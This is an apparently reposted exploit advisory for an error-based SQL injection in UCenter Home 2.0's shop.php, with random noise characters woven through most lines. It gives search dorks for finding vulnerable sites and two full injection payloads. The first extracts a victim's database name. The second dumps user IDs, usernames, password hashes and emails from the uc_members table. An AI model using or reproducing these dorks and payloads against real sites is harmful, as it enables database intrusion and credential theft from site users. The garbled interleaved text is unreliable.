UCenter Home 2.0 -(0day) Remote SQL Injection Vulnerability

admin

__--==UCenter Home 2.0 -(0day) Remote SQL Injection Vulnerability==--__  
0 q* s! P  r% b1 _+ h' {
                                 

& B1 I0 p& ~+ w/ O0 b*/ Author : KnocKout  
5 O( V+ U4 q) n
*/ Greatz : DaiMon,BARCOD3,RiskY and iranian hackers  
& ^+ G- \* v& C3 d) e. A
*/ Contact: knockoutr@msn.com  
0 A& _9 h8 k2 l' F' S7 n# a4 ^2 r
" @0 d, M; z+ ~6 ~5 T*/ Cyber-Warrior.org/CWKnocKout  

+ l2 a4 }& F1 y1 [5 S__--==__--==__--==__--==__--==__--==__--==__--==__--==__--==  
" Z/ ^1 N3 n% o
Script : UCenter Home  

; t2 l0 n6 ?7 L3 h8 Y, U* g2 eVersion : 2.0  
2 Q+ i) t+ z7 g+ R! S
+ h/ u- Z# c% @# rScript HomePage : http://u.discuz.net/  
% Y9 D. u3 \( I$ |! m- e, U9 a
! {& D! x) p% J6 a  P__--==__--==__--==__--==__--==__--==__--==__--==__--==__--==  
" d, R" Z4 j( p8 Z& r1 b
1 C4 Q/ Q5 G" R* a# G' |Dork : Powered by UCenter inurl:shop.php?ac=view  
& @- c  @' d# g0 q( L" A+ k4 h1 ?6 X7 N
, f. P9 }/ U& P- H+ n1 RDork 2 : inurl:shop.php?ac=view&shopid=  

4 y; ^$ A+ l) c7 I& ]/ ^__--==__--==__--==__--==__--==__--==__--==__--==__--==__--==  
% r: F8 A* z: X- z  G
Vuln file : Shop.php  

: L' R( R  V9 X/ @- Rvalue's : (?)ac=view&shopid=  

$ J2 V% L; U% i: sVulnerable Style : SQL Injection (MySQL Error Based)  
. r2 C" T8 W$ c9 y
Need Metarials : Hex Conversion  
, \& q5 t: Q, D+ n7 m/ O9 e5 n
# Z+ g& e" I" W/ r# M__--==__--==__--==__--==__--==__--==__--==__--==__--==__--==  
% G* G4 Q8 \+ T# X" T) j$ v
4 d$ Q4 }) g) uYour Need victim Database name.   
' \' C, v1 N$ {$ e& R3 D) B4 E
0 C5 D4 v. K/ s( ], a/ Jfor Inject : http://server/shop.php?ac=view&shopid=253 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,unhex(hex(database())),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1  

! }$ A4 {% G$ _8 ^2 S# r: `3 M..  

: ]0 z" R+ o6 Y" o) ]+ iDB : Okey.  
; y; D2 n, n: j7 N  \8 n
8 c! @; r( R( @9 Q) T4 H9 K) t1 ^your edit DB `[TARGET DB NAME]`  

Example : 'hiwir1_ucenter'  

Edit : Okey.  

Your use Hex conversion. And edit Your SQL Injection Exploit..  
) ?/ F" b3 ]! g2 s9 H6 {
   
* @( ~4 j0 C2 V6 D9 K; p
Exploit Code : http://server/shop.php?ac=view&shopid=253 253 and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,cast(concat(uc_members.uid,0x3a,uc_members.username,0x3a,uc_members.password,0x3a,uc_members.email) as char),0x27,0x7e) FROM `hiwir1_ucenter`.uc_members LIMIT 0,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1